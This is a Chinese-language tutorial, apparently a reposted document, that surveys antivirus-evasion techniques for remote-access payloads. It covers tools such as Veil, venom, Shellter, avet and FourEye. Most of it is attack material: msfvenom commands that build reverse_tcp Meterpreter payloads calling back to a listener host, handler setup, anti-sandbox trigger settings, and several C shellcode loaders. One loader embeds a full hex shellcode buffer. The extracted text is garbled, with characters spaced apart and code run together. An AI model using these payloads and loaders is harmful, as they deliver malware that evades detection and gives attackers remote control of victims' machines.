搜索

[22263] 2021-08-17_免杀知识汇总

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-08-17_免杀知识汇总 免 杀 知 识 汇 总 L e m o n S e c   2 0 2 1 - 0 8 - 1 7 目 录 ： 目 录 ： 一 、 杀 软 常 见 的 三 种 方 式 二 、 免 杀 的 三 种 常 用 方 式 三 、 利 用 工 具 实 现 免 杀         1 、 v e i l 工 具 基 础 实 现 免 杀 + 进 阶         2 、 v e n o m 免 杀         3 、 利 用 k a l i 自 带 的 s h e l l t e r 进 行 免 杀         4 、 利 用 a v e t 实 现 免 杀 四 、 利 用 源 码 编 译 + 加 载 器 加 载 代 码 实 现 免 杀         1 ） 方 式 一 ， c s + c 语 言 代 码 组 合 拳         2 ） 方 式 二 ， m s f + c 语 言 源 代 码 五 、 F o u r E y e 免 杀 六 、 D K M C 免 杀 七 、 思 维 导 图 一 、 杀 软 常 见 的 三 种 方 式 一 、 杀 软 常 见 的 三 种 方 式 静 态 查 杀 ( 邮 件 类 查 杀 一 般 是 静 态 的 ) - - > 一 般 根 据 特 征 码 识 别 到 - - > 对 文 件 进 行 特 征 匹 配 的 思 路 云 查 杀 行 为 查 杀 ( 也 可 以 理 解 为 动 态 查 杀 ) - - > 对 其 产 生 的 行 为 进 行 检 测 3 . 1   可 构 建 行 为 库 进 行 动 态 查 杀 3 . 2   可 构 建 日 志 库 对 日 志 库 进 行 动 态 查 杀 3 . 3   统 计 学 检 测 - - > 构 建 特 征 学 习 模 型 - - > 进 行 动 态 查 获 取 就 好 了 二 、 二 、 免 杀 的 三 种 常 用 方 式 免 杀 的 三 种 常 用 方 式 ① 捆 绑 - - > 文 件 捆 绑 , 自 解 压 捆 绑 , 如 e x e 类 型 的 ② 特 征 码 混 淆 思 路 - - > 即 混 淆 特 征 码 进 而 绕 过 免 杀 三 种 方 式 : 2 . 1   代 码 混 淆 2 . 2   a p i 钩 子 ( 函 数 混 淆 类 ) - - > 典 型 d l l 劫 持 类 型 - - > 即 伪 造 一 个 d l l 文 件 , 然 后 在 调 用 d l l 文 件 的 时 候 , 先 调 用 伪 造 的 d l l 文 件 , 在 调 用 真 实 的 d l l 文 件 , 进 而 实 现 处 理 木 马 的 操 作 。 2 . 3   溢 出 类 型 漏 洞 特 点 类 ③ 白 名 单 - - > 原 理 : 杀 毒 软 件 对 自 己 旗 下 的 软 件 不 检 测 导 致 三 、 利 用 工 具 实 现 免 杀 三 、 利 用 工 具 实 现 免 杀 1 , v e i l 工 具 基 础 实 现 免 杀 + 进 阶 ① 启 动 方 法 使 用 方 法 如   生 成 g o 语 言 的 免 杀 马 c d   / o p t l s v e i l （ 运 行 v e i l 即 可 ） u s e   1 l i s t u s e   1 6 s e t   l h o s t   i p s e t   l p o r t   端 口 g e n e r a t e # ( 执 行 即 可 )
监 听 – > 利 用 m s f 进 行 监 听 即 可 ② 结 合 c s 进 行 免 杀 实 操 （ 生 成 g o 语 言 的 免 杀 马 ） 1 ） 、 c s 使 用 生 成 一 个 g o 语 言 类 型 的 p a y l o a d 2 ） 、 u s e 1 u s e   1 7 3 ） 需 要 的 设 置 变 量 类 （ 具 体 参 数 设 置 的 含 义 ） 4 ） 设 置 5 ） 然 后 选 择 3 , 即 自 定 义 字 符 串 的 含 义 输 入 c s 生 成 的 字 符 串 即 可 6 ） 设 置 名 字 即 可 完 成 组 合 拳 ③ 结 合 m i n g w - w 6 4 生 成 p a y l o a d 后 利 用 m i n g w - w 6 4 进 行 编 译 进 行 实 现 免 杀 的 作 用 2 ， v e n o m 免 杀 打 开 方 法 g e n e r a t e # ( 执 行 即 可 ) u s e   e x p l o i t / m u l t i / h a n d l e r # 选 择 监 听 模 块 类 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l p o r t   3 3 3 4 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l p o r t   1 0 . 2 1 1 . 5 5 . 2 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   e x p l o i t B A D M A C S   设 置 为 Y 表 示   查 看 运 行 环 境 的 M A C 地 址 如 果 不 是 虚 拟 机 才 会 执 行 p a y l o a d   （ 反 调 试 ） C L I C K T R A C K   设 置 为 4 表 示   表 示 需 要 4 次 点 击 才 会 执 行 C U R S O R C H E C K   设 置 为 1 0 0 表 示   运 行 环 境 的 硬 盘 大 小 如 果 大 于 1 0 0 G B 才 会 执 行 p a y l o a d   （ 反 沙 箱 ） C O M P I L E _ T O _ E X E   设 置 为 Y 表 示   编 译 为 e x e 文 件 H O S T N A M E   设 置 为 C o m p 1 表 示   只 有 在 H o s t n a m e 计 算 机 名 为 C o m p 1 时 才 会 执 行 p a y l o a d （ 指 定 目 标 环 境   反 沙 箱 的 方 式 ） I N J E C T _ M E T H O D   可 设 置 为 V i r t u a l   或   H e a p M I N P R O C S   设 置 为 2 0 表 示   只 有 运 行 环 境 的 运 行 进 程 数 大 于 2 0 时 才 会 执 行 p a y l o a d （ 指 定 目 标 环 境   反 沙 箱 的 方 式 ） P R O C C H E C K   设 置 为 Y 表 示   只 有 运 行 环 境 的 进 程 中 没 有 虚 拟 机 进 程 时 才 会 执 行 p a y l o a d （ 指 定 目 标 环 境   反 沙 箱 的 方 式 ） P R O C E S S O R S   设 置 为 2 表 示   只 在 至 少 2 核 的 机 器 中 才 会 执 行 p a y l o a d （ 指 定 目 标 环 境   反 沙 箱 的 方 式 ） R A M C H E C K   设 置 为 Y 表 示   只 在 运 行 环 境 的 内 存 为 3 G 以 上 时 才 会 执 行 p a y l o a d （ 指 定 目 标 环 境   反 沙 箱 的 方 式 ） S L E E P   设 置 为 1 0 表 示   休 眠 1 0 秒   以 检 测 是 否 运 行 过 程 中 被 加 速 （ 反 沙 箱 ） U S E R N A M E   设 置 为 T o m 表 示   只 有 在 当 前 用 户 名 为 T o m 的 机 器 中 才 执 行 p a y l o a d 。 U S E R P R O M P T   设 置 为 Y 表 示   在 i n j e c t i o n 之 前 提 醒 用 户 （ 提 示 一 个 错 误 框 ， 让 用 户 误 以 为 该 程 序 执 行 错 误 才 无 法 打 开 ） D E B U G G E R   设 置 为 Y 表 示   当 被 调 试 器 不 被 a t t a c h e d 时 才 会 执 行 p a y l o a d   （ 反 调 试 ） D O M A I N   设 置 为 C o m p 表 示   受 害 者 计 算 机 只 有 加 入 C o m p 域 中 时 ， 才 会 执 行 p a y l o a d （ 指 定 目 标 环 境   反 沙 箱 的 方 式 ） U T C C H E C K   设 置 为 Y 表 示   只 在 运 行 环 境 的 系 统 使 用 U T C 时 间 时 ， 才 会 执 行 p a y l o a d s e t   U S E R N A M E   l l l # 前 三 个 均 表 示 在 该 特 定 的 情 况 下 执 行 这 个 木 马 s e t   H O S T N A M E   w i n 7 s e t   U T C c h e c k   T R U E s e t   U T C c h e c k   T R U E g e n e r a t e # ( 即 代 表 设 置 完 成 的 含 义 状 况 特 点 ) g c c   - o   c . e x e   c . c   - l   w s 2 _ 3 2 # 即 过 滤 掉 该 命 令 的 状 况 思 路 . / v e n o m . s h
w i n d o w s 下 的 基 础 免 杀 命 令 步 骤 3 ， 利 用 k a l i 自 带 的 s h e l l t e r 进 行 免 杀 基 础 生 成 命 令 监 听 方 法 4 、 利 用 a v e t 实 现 免 杀 运 行 一 般 是 直 接 选 择 2 生 成 一 个 p a y l o a d 四 、 利 用 源 码 编 译 四 、 利 用 源 码 编 译 + 加 载 器 加 载 代 码 实 现 免 杀 加 载 器 加 载 代 码 实 现 免 杀 方 式 一 c s + c 语 言 代 码 组 合 拳 可 参 考 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 3 3 9 4 2 0 4 0 / a r t i c l e / d e t a i l s / 1 0 6 4 6 3 3 6 0 方 式 二 , m s f + c 语 言 源 代 码 思 路 和 c s 实 现 免 杀 的 思 路 差 不 多 , 利 用 编 译 进 行 绕 过 实 现 的 ① 首 先 现 在 m s f 中 生 成 s h e l l c o d e c 语 言 代 码 1 ② 在 c 语 言 代 码 的 b u f [ ] = 中 添 加 该 s h e l l 然 后 进 行 编 译 即 可 . / v e n o m . s h 2 4 # 输 入 i p , 输 入 端 口 # 选 择 常 规 的 w i n d o w s / m e t e r p e r t e r / r e v e r s e _ t c p # 输 入 文 件 名 # 后 面 均 选 默 认 即 可 选 择 A # （ 即 自 动 模 式 ） 选 择 注 入 的 程 序 选 择 是 否 要 用 隐 身 模 式 （ 建 议 不 使 用 , 免 杀 效 果 会 变 差 ） 选 择 自 定 义 字 符 还 是 自 动 字 符 选 择 模 块 # 一 般 是 选 择 1 模 块 设 置 i p , 设 置 端 口 h a n d l e r   - H   1 0 . 2 1 1 . 5 5 . 2   - P   3 3 3 3   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p ( 监 听 方 法 ) # 进 入 其 的 目 录 # 然 后   p y t h o n   其 p y 程 序 即 可 m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   6   - b   ' x 0 0 '   l h o s t = 1 0 . 2 1 1 . 5 5 . 2   l p o r t = 3 3 3 3     - f   c   - o   s h e l l . c u n s i g n e d   c h a r   b u f [ ]   =   " s h e l l c o d e " ; # p r a g m a   c o m m e n t ( l i n k e r , " / s u b s y s t e m : " W i n d o w s "   / e n t r y : " m a i n C R T S t a r t u p " " )   / / w i n d o w s 控 制 台 程 序 不 出 黑 窗 口 m a i n ( ) {         (   ( v o i d ( * ) ( v o i d ) ) & b u f ) ( ) ;
c 语 言 代 码 2 免 杀 生 成 出 现 问 题 } # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > # p r a g m a   c o m m e n t ( l i n k e r , " / s u b s y s t e m : " W i n d o w s "   / e n t r y : " m a i n C R T S t a r t u p " " )   / / w i n d o w s 控 制 台 程 序 不 出 黑 窗 口 u n s i g n e d   c h a r   b u f [ ]   =   " s h e l l c o d e " ; m a i n ( ) {         c h a r   * M e m o r y ;           M e m o r y = V i r t u a l A l l o c ( N U L L ,   s i z e o f ( b u f ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( M e m o r y ,   b u f ,   s i z e o f ( b u f ) ) ;         ( ( v o i d ( * ) ( ) ) M e m o r y ) ( ) ; } # i n c l u d e < w i n d o w s . h > # i n c l u d e < s t d i o . h > u n s i g n e d   c h a r   b u f [ ]   = " x f c x e 8 x 8 2 x 0 0 x 0 0 x 0 0 x 6 0 x 8 9 x e 5 x 3 1 x c 0 x 6 4 x 8 b x 5 0 x 3 0 " " x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 4 x 8 b x 7 2 x 2 8 x 0 f x b 7 x 4 a x 2 6 x 3 1 x f f " " x a c x 3 c x 6 1 x 7 c x 0 2 x 2 c x 2 0 x c 1 x c f x 0 d x 0 1 x c 7 x e 2 x f 2 x 5 2 " " x 5 7 x 8 b x 5 2 x 1 0 x 8 b x 4 a x 3 c x 8 b x 4 c x 1 1 x 7 8 x e 3 x 4 8 x 0 1 x d 1 " " x 5 1 x 8 b x 5 9 x 2 0 x 0 1 x d 3 x 8 b x 4 9 x 1 8 x e 3 x 3 a x 4 9 x 8 b x 3 4 x 8 b " " x 0 1 x d 6 x 3 1 x f f x a c x c 1 x c f x 0 d x 0 1 x c 7 x 3 8 x e 0 x 7 5 x f 6 x 0 3 " " x 7 d x f 8 x 3 b x 7 d x 2 4 x 7 5 x e 4 x 5 8 x 8 b x 5 8 x 2 4 x 0 1 x d 3 x 6 6 x 8 b " " x 0 c x 4 b x 8 b x 5 8 x 1 c x 0 1 x d 3 x 8 b x 0 4 x 8 b x 0 1 x d 0 x 8 9 x 4 4 x 2 4 " " x 2 4 x 5 b x 5 b x 6 1 x 5 9 x 5 a x 5 1 x f f x e 0 x 5 f x 5 f x 5 a x 8 b x 1 2 x e b " " x 8 d x 5 d x 6 8 x 3 3 x 3 2 x 0 0 x 0 0 x 6 8 x 7 7 x 7 3 x 3 2 x 5 f x 5 4 x 6 8 x 4 c " " x 7 7 x 2 6 x 0 7 x 8 9 x e 8 x f f x d 0 x b 8 x 9 0 x 0 1 x 0 0 x 0 0 x 2 9 x c 4 x 5 4 " " x 5 0 x 6 8 x 2 9 x 8 0 x 6 b x 0 0 x f f x d 5 x 6 a x 0 a x 6 8 x c 0 x a 8 x 2 b x 9 9 " " x 6 8 x 0 2 x 0 0 x 1 1 x 5 c x 8 9 x e 6 x 5 0 x 5 0 x 5 0 x 5 0 x 4 0 x 5 0 x 4 0 x 5 0 " " x 6 8 x e a x 0 f x d f x e 0 x f f x d 5 x 9 7 x 6 a x 1 0 x 5 6 x 5 7 x 6 8 x 9 9 x a 5 " " x 7 4 x 6 1 x f f x d 5 x 8 5 x c 0 x 7 4 x 0 a x f f x 4 e x 0 8 x 7 5 x e c x e 8 x 6 7 " " x 0 0 x 0 0 x 0 0 x 6 a x 0 0 x 6 a x 0 4 x 5 6 x 5 7 x 6 8 x 0 2 x d 9 x c 8 x 5 f x f f " " x d 5 x 8 3 x f 8 x 0 0 x 7 e x 3 6 x 8 b x 3 6 x 6 a x 4 0 x 6 8 x 0 0 x 1 0 x 0 0 x 0 0 " " x 5 6 x 6 a x 0 0 x 6 8 x 5 8 x a 4 x 5 3 x e 5 x f f x d 5 x 9 3 x 5 3 x 6 a x 0 0 x 5 6 " " x 5 3 x 5 7 x 6 8 x 0 2 x d 9 x c 8 x 5 f x f f x d 5 x 8 3 x f 8 x 0 0 x 7 d x 2 8 x 5 8 " " x 6 8 x 0 0 x 4 0 x 0 0 x 0 0 x 6 a x 0 0 x 5 0 x 6 8 x 0 b x 2 f x 0 f x 3 0 x f f x d 5 " " x 5 7 x 6 8 x 7 5 x 6 e x 4 d x 6 1 x f f x d 5 x 5 e x 5 e x f f x 0 c x 2 4 x 0 f x 8 5 " " x 7 0 x f f x f f x f f x e 9 x 9 b x f f x f f x f f x 0 1 x c 3 x 2 9 x c 6 x 7 5 x c 1 " " x c 3 x b b x f 0 x b 5 x a 2 x 5 6 x 6 a x 0 0 x 5 3 x f f x d 5 " ; s i z e _ t   s i z e   =   s i z e o f ( b u f ) ; i n t   m a i n ( ) {     c h a r   * i n j e c t ;     i n j e c t   =   ( c h a r * ) V i r t u a l A l l o c ( N U L L ,   s i z e ,   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;     / / 分 配 可 读 可 写 可 执 行     m e m c p y ( i n j e c t ,   b u f ,   s i z e ) ; / / 复 制 大 小 进 去     ( ( v o i d ( * ) ( ) ) i n j e c t ) ( ) ; / / 执 行 }
c 语 言 代 码 3 c 语 言 代 码 4 c 语 言 代 码 5 （ 汇 编 花 指 令 ） 注 意 ： 生 成 的 e x e 文 件 需 要 环 境 中 有 几 个 . d l l 文 件 才 可 运 行 c 语 言 代 码 6 b a s e 4 . c 代 码 } # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > # p r a g m a   c o m m e n t ( l i n k e r ,   " / s e c t i o n : . d a t a , R W E " ) u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " " ; v o i d   m a i n ( ) {                 _ _ a s m         {                 m o v   e a x ,   o f f s e t   s h e l l c o d e                 j m p   e a x         } } # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > u n s i g n e d   c h a r   b u f [ ]   = " " ; v o i d   m a i n ( ) {       ( ( v o i d ( W I N A P I * ) ( v o i d ) ) & b u f ) ( ) ; } # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > # p r a g m a   c o m m e n t ( l i n k e r ,   " / s e c t i o n : . d a t a , R W E " ) u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " " ; v o i d   m a i n ( ) {                 _ _ a s m         {                 m o v   e a x ,   o f f s e t   s h e l l c o d e                 _ e m i t   0 x F F                     _ e m i t   0 x E 0         } } / *   B a s e 6 4   e n c o d e r / d e c o d e r .   O r i g i n a l l y   A p a c h e   f i l e   a p _ b a s e 6 4 . c * / # i n c l u d e   < s t r i n g . h > # i n c l u d e   " b a s e 6 4 . h " / *   a a a a c k   b u t   i t ' s   f a s t   a n d   c o n s t   s h o u l d   m a k e   i t   s h a r e d   t e x t   p a g e .   * / s t a t i c   c o n s t   u n s i g n e d   c h a r   p r 2 s i x [ 2 5 6 ]   = {         / *   A S C I I   t a b l e   * /         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,
        6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 2 ,   6 4 ,   6 4 ,   6 4 ,   6 3 ,         5 2 ,   5 3 ,   5 4 ,   5 5 ,   5 6 ,   5 7 ,   5 8 ,   5 9 ,   6 0 ,   6 1 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,     0 ,     1 ,     2 ,     3 ,     4 ,     5 ,     6 ,     7 ,     8 ,     9 ,   1 0 ,   1 1 ,   1 2 ,   1 3 ,   1 4 ,         1 5 ,   1 6 ,   1 7 ,   1 8 ,   1 9 ,   2 0 ,   2 1 ,   2 2 ,   2 3 ,   2 4 ,   2 5 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   2 6 ,   2 7 ,   2 8 ,   2 9 ,   3 0 ,   3 1 ,   3 2 ,   3 3 ,   3 4 ,   3 5 ,   3 6 ,   3 7 ,   3 8 ,   3 9 ,   4 0 ,         4 1 ,   4 2 ,   4 3 ,   4 4 ,   4 5 ,   4 6 ,   4 7 ,   4 8 ,   4 9 ,   5 0 ,   5 1 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 } ; i n t   B a s e 6 4 d e c o d e _ l e n ( c o n s t   c h a r   * b u f c o d e d ) {         i n t   n b y t e s d e c o d e d ;         r e g i s t e r   c o n s t   u n s i g n e d   c h a r   * b u f i n ;         r e g i s t e r   i n t   n p r b y t e s ;         b u f i n   =   ( c o n s t   u n s i g n e d   c h a r   * ) b u f c o d e d ;         w h i l e   ( p r 2 s i x [ * ( b u f i n + + ) ]   < =   6 3 ) ;         n p r b y t e s   =   ( b u f i n   -   ( c o n s t   u n s i g n e d   c h a r   * ) b u f c o d e d )   -   1 ;         n b y t e s d e c o d e d   =   ( ( n p r b y t e s   +   3 )   /   4 )   *   3 ;         r e t u r n   n b y t e s d e c o d e d   +   1 ; } i n t   B a s e 6 4 d e c o d e ( c h a r   * b u f p l a i n ,   c o n s t   c h a r   * b u f c o d e d ) {         i n t   n b y t e s d e c o d e d ;         r e g i s t e r   c o n s t   u n s i g n e d   c h a r   * b u f i n ;         r e g i s t e r   u n s i g n e d   c h a r   * b u f o u t ;         r e g i s t e r   i n t   n p r b y t e s ;         b u f i n   =   ( c o n s t   u n s i g n e d   c h a r   * ) b u f c o d e d ;         w h i l e   ( p r 2 s i x [ * ( b u f i n + + ) ]   < =   6 3 ) ;         n p r b y t e s   =   ( b u f i n   -   ( c o n s t   u n s i g n e d   c h a r   * ) b u f c o d e d )   -   1 ;         n b y t e s d e c o d e d   =   ( ( n p r b y t e s   +   3 )   /   4 )   *   3 ;         b u f o u t   =   ( u n s i g n e d   c h a r   * ) b u f p l a i n ;         b u f i n   =   ( c o n s t   u n s i g n e d   c h a r   * ) b u f c o d e d ;         w h i l e   ( n p r b y t e s   >   4 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ * b u f i n ]   < <   2   |   p r 2 s i x [ b u f i n [ 1 ] ]   > >   4 ) ;                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 1 ] ]   < <   4   |   p r 2 s i x [ b u f i n [ 2 ] ]   > >   2 ) ;                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 2 ] ]   < <   6   |   p r 2 s i x [ b u f i n [ 3 ] ] ) ;                 b u f i n   + =   4 ;                 n p r b y t e s   - =   4 ;         }         / *   N o t e :   ( n p r b y t e s   = =   1 )   w o u l d   b e   a n   e r r o r ,   s o   j u s t   i n g o r e   t h a t   c a s e   * /         i f   ( n p r b y t e s   >   1 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ * b u f i n ]   < <   2   |   p r 2 s i x [ b u f i n [ 1 ] ]   > >   4 ) ;         }
b a s e 6 4 . h 代 码         i f   ( n p r b y t e s   >   2 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 1 ] ]   < <   4   |   p r 2 s i x [ b u f i n [ 2 ] ]   > >   2 ) ;         }         i f   ( n p r b y t e s   >   3 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 2 ] ]   < <   6   |   p r 2 s i x [ b u f i n [ 3 ] ] ) ;         }         * ( b u f o u t + + )   =   ' 0 ' ;         n b y t e s d e c o d e d   - =   ( 4   -   n p r b y t e s )   &   3 ;         r e t u r n   n b y t e s d e c o d e d ; } s t a t i c   c o n s t   c h a r   b a s i s _ 6 4 [ ]   = " A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 + / " ; i n t   B a s e 6 4 e n c o d e _ l e n ( i n t   l e n ) {         r e t u r n   ( ( l e n   +   2 )   /   3   *   4 )   +   1 ; } i n t   B a s e 6 4 e n c o d e ( c h a r   * e n c o d e d ,   c o n s t   c h a r   * s t r i n g ,   i n t   l e n ) {         i n t   i ;         c h a r   * p ;         p   =   e n c o d e d ;         f o r   ( i   =   0 ;   i   <   l e n   -   2 ;   i   + =   3 )   {                 * p + +   =   b a s i s _ 6 4 [ ( s t r i n g [ i ]   > >   2 )   &   0 x 3 F ] ;                 * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g [ i ]   &   0 x 3 )   < <   4 )   |                         ( ( i n t ) ( s t r i n g [ i   +   1 ]   &   0 x F 0 )   > >   4 ) ] ;                 * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g [ i   +   1 ]   &   0 x F )   < <   2 )   |                         ( ( i n t ) ( s t r i n g [ i   +   2 ]   &   0 x C 0 )   > >   6 ) ] ;                 * p + +   =   b a s i s _ 6 4 [ s t r i n g [ i   +   2 ]   &   0 x 3 F ] ;         }         i f   ( i   <   l e n )   {                 * p + +   =   b a s i s _ 6 4 [ ( s t r i n g [ i ]   > >   2 )   &   0 x 3 F ] ;                 i f   ( i   = =   ( l e n   -   1 ) )   {                         * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g [ i ]   &   0 x 3 )   < <   4 ) ] ;                         / /         * p + +   =   ' = ' ;                 }                 e l s e   {                         * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g [ i ]   &   0 x 3 )   < <   4 )   |                                 ( ( i n t ) ( s t r i n g [ i   +   1 ]   &   0 x F 0 )   > >   4 ) ] ;                         * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g [ i   +   1 ]   &   0 x F )   < <   2 ) ] ;                 }                 / / * p + +   =   ' = ' ;         }         * p + +   =   ' 0 ' ;         r e t u r n   p   -   e n c o d e d ; } # i f n d e f   _ B A S E 6 4 _ H _ # d e f i n e   _ B A S E 6 4 _ H _ # i f d e f   _ _ c p l u s p l u s e x t e r n   " C "   { # e n d i f
m s f 生 成 b a s e 6 4 的 s h e l l c o d e g c c 编 码 ③ 进 行 监 听 五 、 五 、 F o u r E y e 免 杀 免 杀 k a l i 环 境 下 使 用 直 接 使 用 即 可 加 载 器 方 法 1 . 使 用 s h e l l c o d e _ l a u n c h e r ① 生 成 r a w 格 式 的 s h e l l c o d e         i n t   B a s e 6 4 e n c o d e _ l e n ( i n t   l e n ) ;         i n t   B a s e 6 4 e n c o d e ( c h a r   *   c o d e d _ d s t ,   c o n s t   c h a r   * p l a i n _ s r c ,   i n t   l e n _ p l a i n _ s r c ) ;         i n t   B a s e 6 4 d e c o d e _ l e n ( c o n s t   c h a r   *   c o d e d _ s r c ) ;         i n t   B a s e 6 4 d e c o d e ( c h a r   *   p l a i n _ d s t ,   c o n s t   c h a r   * c o d e d _ s r c ) ; # i f d e f   _ _ c p l u s p l u s } # e n d i f # e n d i f   / / _ B A S E 6 4 _ H _ s h e l l c o d e . c # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > # i n c l u d e   " b a s e 6 4 . h " u n s i g n e d   c h a r   b u f [ ]   = " m s f   b a s e 6 4   c o d e   h e r e " ; i n t   m a i n ( i n t   a r g c ,   c o n s t   c h a r   *   a r g v [ ] )   {         c h a r   s t r 1 [ 1 0 0 0 ]   =   {   0   } ;         B a s e 6 4 d e c o d e ( s t r 1 ,   b u f ) ;         / / p r i n t f ( " % d     " ,   s i z e o f ( s t r 3 ) ) ;         c h a r   * M e m o r y ;         M e m o r y   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( s t r 1 ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( M e m o r y ,   s t r 1 ,   s i z e o f ( s t r 1 ) ) ;         ( ( v o i d ( * ) ( ) ) M e m o r y ) ( ) ;         r e t u r n   0 ; } m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - - e n c r y p t   b a s e 6 4     l h o s t = 1 0 . 2 1 1 . 5 5 . 2   l p o r t = 3 3 3 3     - f   c   >   s h e l l . c g c c   s h e l l c o d e . c   b a s e 6 4 . c   - o   t e s t . e x e u s e   m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   1 0 . 2 1 1 . 5 5 . 2 s e t   L P O R T   3 3 3 3 s e t   E n a b l e S t a g e E n c o d i n g   t r u e p y t h o n 3   B y p a s s F r a m e w o r k . p y   m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   6   - b   ' x 0 0 '   l h o s t = 1 0 . 2 1 1 . 5 5 . 2   l p o r t = 3 3 3 3     - f   r a w   - o   s h e l l c o d e . r a w
